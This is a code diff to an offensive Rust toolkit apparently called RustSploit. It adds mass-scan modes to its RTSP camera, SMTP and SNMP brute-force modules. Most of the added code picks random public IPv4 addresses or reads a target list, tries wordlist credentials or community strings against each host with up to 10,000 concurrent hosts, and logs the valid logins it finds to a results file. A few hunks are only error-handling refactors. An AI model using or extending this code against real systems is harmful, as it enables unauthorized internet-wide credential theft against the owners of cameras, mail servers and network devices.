// Actually existing tool defaults to OPTIONS unless advanced is on. OPTIONS is auth-less often?
|
||||
// No, OPTIONS usually requires auth if server is secure.
|
||||
|
||||
let res = try_rtsp_login(
|
||||
&addrs,
|
||||
&sa.to_string(),
|
||||
user,
|
||||
pass,
|
||||
path,
|
||||
Some("DESCRIBE"), // Use DESCRIBE to be sure we can access stream info
|
||||
&empty_headers
|
||||
).await;
|
||||
|
||||
match res {
|
||||
Ok(true) => {
|
||||
// Success!
|
||||
let result_str = format!("{} -> {}:{} [path={}]", sa, user, pass, path);
|
||||
println!("\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
|
||||
// Save
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", result_str).as_bytes()).await;
|
||||
}
|
||||
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop scanning this host on found
|
||||
}
|
||||
Ok(false) => {
|
||||
// Auth failure
|
||||
}
|
||||
Err(e) => {
|
||||
// Connection error or protocol error
|
||||
if verbose {
|
||||
// Only print verbose errors if really needed, prevents spam
|
||||
}
|
||||
// If connection failed (rst/timeout), often no point trying other creds?
|
||||
// But existing function returns Err on IO error.
|
||||
// We should probably stop trying this host if we get Refused/Timeout inside loop?
|
||||
let err_str = e.to_string().to_lowercase();
|
||||
if err_str.contains("refused") || err_str.contains("timeout") || err_str.contains("reset") {
|
||||
return; // Host dead or blocking us
|
||||
}
|
||||
}
|
||||
}
|
||||
// Small sleep to be polite?
|
||||
// sleep(Duration::from_millis(50)).await;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
// Ensure state file exists before running grep
|
||||
if !std::path::Path::new(STATE_FILE).exists() {
|
||||
// Create empty state file to avoid grep errors
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.write(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.flush().await;
|
||||
}
|
||||
return false; // File was just created, IP definitely not checked
|
||||
}
|
||||
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
|
||||
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
|
||||
// 1) If it's a literal SocketAddr, return it directly
|
||||
@@ -309,16 +631,20 @@ async fn try_rtsp_login(
|
||||
|
||||
// Try each candidate address
|
||||
for sa in addrs {
|
||||
match TcpStream::connect(*sa).await {
|
||||
Ok(s) => {
|
||||
match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(*sa)).await {
|
||||
Ok(Ok(s)) => {
|
||||
stream = Some(s);
|
||||
connected_sa = Some(*sa);
|
||||
break;
|
||||
}
|
||||
Err(e) => {
|
||||
Ok(Err(e)) => {
|
||||
last_err = Some(e);
|
||||
continue;
|
||||
}
|
||||
Err(_) => {
|
||||
last_err = Some(std::io::Error::new(std::io::ErrorKind::TimedOut, "Connect timeout"));
|
||||
continue;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -364,7 +690,13 @@ async fn try_rtsp_login(
|
||||
|
||||
stream.write_all(request.as_bytes()).await?;
|
||||
let mut buffer = [0u8; 2048];
|
||||
let n = stream.read(&mut buffer).await?;
|
||||
// Add Read timeout
|
||||
let n = match timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), stream.read(&mut buffer)).await {
|
||||
Ok(Ok(n)) => n,
|
||||
Ok(Err(e)) => return Err(e.into()),
|
||||
Err(_) => return Err(anyhow!("Read timeout")),
|
||||
};
|
||||
|
||||
if n == 0 {
|
||||
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
|
||||
}
|
||||
@@ -375,63 +707,42 @@ async fn try_rtsp_login(
|
||||
} else if response.contains("401") || response.contains("403") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
|
||||
// Some cameras might return 404 if path is wrong but still authorized?
|
||||
// Or 400 Bad Request?
|
||||
// Safest is to treat anything not 200 as fail, but maybe check for specifc auth fail codes.
|
||||
// If we get 404, the creds might be valid but path invalid.
|
||||
// But without positive valid signal, we assume fail.
|
||||
Err(anyhow!("{}: unexpected RTSP response: {}", addr_display, response.lines().next().unwrap_or("")))
|
||||
}
|
||||
}
|
||||
|
||||
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
|
||||
/// Extract RTSP path from target string (e.g., rtsp://host:port/path -> Some("/path"))
|
||||
/// Returns None if no path is present or if path is just "/"
|
||||
fn extract_rtsp_path(target: &str) -> Option<String> {
|
||||
let trimmed = target.trim();
|
||||
if trimmed.is_empty() {
|
||||
return Err(anyhow!("Target cannot be empty."));
|
||||
}
|
||||
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
|
||||
(host.trim(), Some(path.to_string()))
|
||||
} else {
|
||||
(without_scheme.trim(), None)
|
||||
};
|
||||
|
||||
// Use shared normalization for the host/port part
|
||||
let normalized_host = normalize_target(host_part)?;
|
||||
|
||||
// Check if normalized host implies a port. normalize_target returns host:port or host.
|
||||
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
|
||||
// However, existing logic seemed to force a port.
|
||||
// Let's check if port is present.
|
||||
// A simple heuristic: if it ends with digit, check for colon.
|
||||
// [ipv6]:port, ipv4:port, host:port.
|
||||
// If we assume normalize_target did its job, we just need to adhere to the return type.
|
||||
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
|
||||
// Checking for port on a normalized string:
|
||||
let has_port = if normalized_host.starts_with('[') {
|
||||
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
|
||||
} else {
|
||||
normalized_host.contains(':')
|
||||
};
|
||||
|
||||
let final_host = if has_port {
|
||||
normalized_host
|
||||
} else {
|
||||
format!("{}:{}", normalized_host, default_port)
|
||||
};
|
||||
|
||||
let normalized_path = path_part.and_then(|p| {
|
||||
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
|
||||
let trimmed = truncated.trim();
|
||||
if trimmed.is_empty() || trimmed == "/" {
|
||||
// Remove rtsp:// scheme if present
|
||||
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
|
||||
|
||||
// Split on first '/' to separate host:port from path
|
||||
if let Some((_, path)) = without_scheme.split_once('/') {
|
||||
// Remove query strings and fragments
|
||||
let clean_path = path.split(|c| c == '?' || c == '#')
|
||||
.next()
|
||||
.unwrap_or_default()
|
||||
.trim();
|
||||
|
||||
if clean_path.is_empty() || clean_path == "/" {
|
||||
None
|
||||
} else {
|
||||
let mut path = trimmed.to_string();
|
||||
if !path.starts_with('/') {
|
||||
path.insert(0, '/');
|
||||
// Ensure path starts with '/'
|
||||
let mut final_path = clean_path.to_string();
|
||||
if !final_path.starts_with('/') {
|
||||
final_path.insert(0, '/');
|
||||
}
|
||||
Some(path)
|
||||
Some(final_path)
|
||||
}
|
||||
});
|
||||
|
||||
Ok((final_host, normalized_path))
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
// ─── Prompt and utility functions unchanged ───────────────────────────────────
|
||||
|
||||
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::{TcpStream, ToSocketAddrs};
|
||||
use std::net::{ToSocketAddrs, IpAddr, SocketAddr};
|
||||
use std::net::TcpStream;
|
||||
use std::sync::{
|
||||
atomic::{AtomicBool, Ordering},
|
||||
atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
Arc,
|
||||
};
|
||||
use std::time::Duration;
|
||||
@@ -10,12 +11,32 @@ use tokio::sync::{Mutex, Semaphore};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use telnet::{Telnet, Event};
|
||||
use base64::{engine::general_purpose, Engine as _};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::fs::OpenOptions;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
load_lines, prompt_default, prompt_wordlist,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const STATE_FILE: &str = "smtp_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
#[derive(Clone)]
|
||||
struct SmtpBruteforceConfig {
|
||||
@@ -34,6 +55,17 @@ struct SmtpBruteforceConfig {
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
|
||||
@@ -64,6 +96,172 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
run_smtp_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output result file", "smtp_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid SMTP credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if tokio::time::timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), tokio::net::TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Bruteforce
|
||||
// Reuse existing blocking sync function inside spawn_blocking?
|
||||
// The existing function uses std::net::TcpStream blocking.
|
||||
// That's fine for small lists, but suboptimal for high concurrency.
|
||||
// However, since we are inside a spawned tokio task, spawn_blocking is appropriate.
|
||||
|
||||
let target_str = ip.to_string();
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let t_target = target_str.clone();
|
||||
let t_user = user.clone();
|
||||
let t_pass = pass.clone();
|
||||
let t_port = port;
|
||||
|
||||
let t_target_inner = t_target.clone();
|
||||
let t_user_inner = t_user.clone();
|
||||
let t_pass_inner = t_pass.clone();
|
||||
|
||||
// Blocking call for the actual SMTP interaction (since it uses blocking Telnet/TcpStream)
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
try_smtp_login(&t_target_inner, t_port, &t_user_inner, &t_pass_inner)
|
||||
}).await;
|
||||
|
||||
match res {
|
||||
Ok(Ok(true)) => {
|
||||
let msg = format!("{} -> {}:{}", t_target, t_user, t_pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(Ok(false)) => {
|
||||
if verbose {
|
||||
// Auth failed
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return; // Stop scanning host
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Start/Join error
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
|
||||
let usernames = load_lines(&config.username_wordlist)?;
|
||||
let passwords = load_lines(&config.password_wordlist)?;
|
||||
@@ -293,3 +491,5 @@ fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Re
|
||||
|
||||
Ok(false)
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -1,28 +1,46 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use std::{
|
||||
io::Write,
|
||||
net::{SocketAddr, UdpSocket},
|
||||
net::{SocketAddr, UdpSocket, IpAddr},
|
||||
sync::Arc,
|
||||
sync::atomic::{AtomicBool, AtomicUsize, Ordering},
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
sync::Semaphore,
|
||||
task::spawn_blocking,
|
||||
time::sleep,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default, normalize_target,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const STATE_FILE: &str = "snmp_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions (Private + Cloudflare + Google + Link Local etc)
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
|
||||
@@ -30,6 +48,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!();
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0"
|
||||
|| target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
// --- Standard Single-Target Logic ---
|
||||
|
||||
let default_port = 161;
|
||||
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
|
||||
|
||||
@@ -531,3 +560,157 @@ fn encode_sub_id(mut value: u32, output: &mut Vec<u8>) {
|
||||
|
||||
|
||||
|
||||
/// Run mass scan logic (Hose style)
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
println!("{}", "[*] Preparing Mass Scan configuration...".blue());
|
||||
|
||||
let port = prompt_int_range("SNMP Port", 161, 1, 65535).await? as u16;
|
||||
let communities_file = prompt_existing_file("Community string wordlist").await?;
|
||||
|
||||
let snmp_version = loop {
|
||||
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
|
||||
match input.trim().to_lowercase().as_str() {
|
||||
"1" => break 0,
|
||||
"2c" | "2" => break 1,
|
||||
_ => println!("Invalid version. Enter '1' or '2c'."),
|
||||
}
|
||||
};
|
||||
|
||||
let communities = load_lines(&communities_file)?;
|
||||
if communities.is_empty() {
|
||||
return Err(anyhow!("Community wordlist cannot be empty"));
|
||||
}
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
|
||||
let output_file = prompt_default("Output result file", "snmp_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES));
|
||||
|
||||
// Shared State
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
let creds_pkg = Arc::new((communities, snmp_version, timeout_secs));
|
||||
|
||||
// Stats Reporter
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} SNMP devices found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
let ip_addr = match ip_str.parse::<IpAddr>() {
|
||||
Ok(ip) => Some(ip),
|
||||
Err(_) => None
|
||||
};
|
||||
|
||||
tokio::spawn(async move {
|
||||
if let Some(ip) = ip_addr {
|
||||
if !is_ip_checked(&ip, STATE_FILE).await {
|
||||
mark_ip_checked(&ip, STATE_FILE).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
|
||||
// Wait for finish
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, u8, u64)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
_verbose: bool,
|
||||
) {
|
||||
let addr = format!("{}:{}", ip, port);
|
||||
let (communities, version, timeout_secs) = &*creds;
|
||||
let timeout = Duration::from_secs(*timeout_secs);
|
||||
|
||||
for community in communities {
|
||||
match try_snmp_community(&addr, community, *version, timeout).await {
|
||||
Ok(true) => {
|
||||
let result_str = format!("{} -> community: '{}'", addr, community);
|
||||
println!("\\r{}", format!("[+] FOUND: {}", result_str).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&output_file)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(format!("{}\\n", result_str).as_bytes()).await;
|
||||
}
|
||||
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop on first valid community for this host
|
||||
}
|
||||
Ok(false) => {
|
||||
// Auth failure
|
||||
}
|
||||
Err(_) => {
|
||||
// Connection error
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -246,8 +246,8 @@ pub async fn password_spray(
|
||||
let user = user.clone();
|
||||
let password = password.to_string();
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.unwrap();
|
||||
let handle: tokio::task::JoinHandle<Result<()>> = tokio::spawn(async move {
|
||||
let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
|
||||
let host_clone = host.clone();
|
||||
let user_clone = user.clone();
|
||||
@@ -277,6 +277,7 @@ pub async fn password_spray(
|
||||
stats.record_attempt(false, true);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
||||
use anyhow::Result;
|
||||
use anyhow::{Result, Context};
|
||||
use colored::*;
|
||||
use rand::Rng;
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
@@ -105,7 +105,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
if target.is_empty() || target == "random" || target == "0.0.0.0/0" {
|
||||
// Random Mode
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
@@ -137,7 +137,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("Loaded {} IPs from list", lines.len());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.unwrap();
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cr = creds.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
@@ -156,7 +156,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
// Wait for all tasks to finish (simple hack: try to acquire all semaphores)
|
||||
// In a real hose, we just run until done.
|
||||
for _ in 0..CONCURRENCY {
|
||||
let _ = semaphore.acquire().await.unwrap();
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,9 +1,15 @@
|
||||
use std::sync::atomic::{AtomicU64, Ordering};
|
||||
// use std::sync::Arc; // Removed unused import
|
||||
use std::time::Instant;
|
||||
use colored::*;
|
||||
use tokio::sync::Mutex;
|
||||
use std::collections::HashMap;
|
||||
use std::net::{IpAddr, Ipv4Addr};
|
||||
use rand::Rng;
|
||||
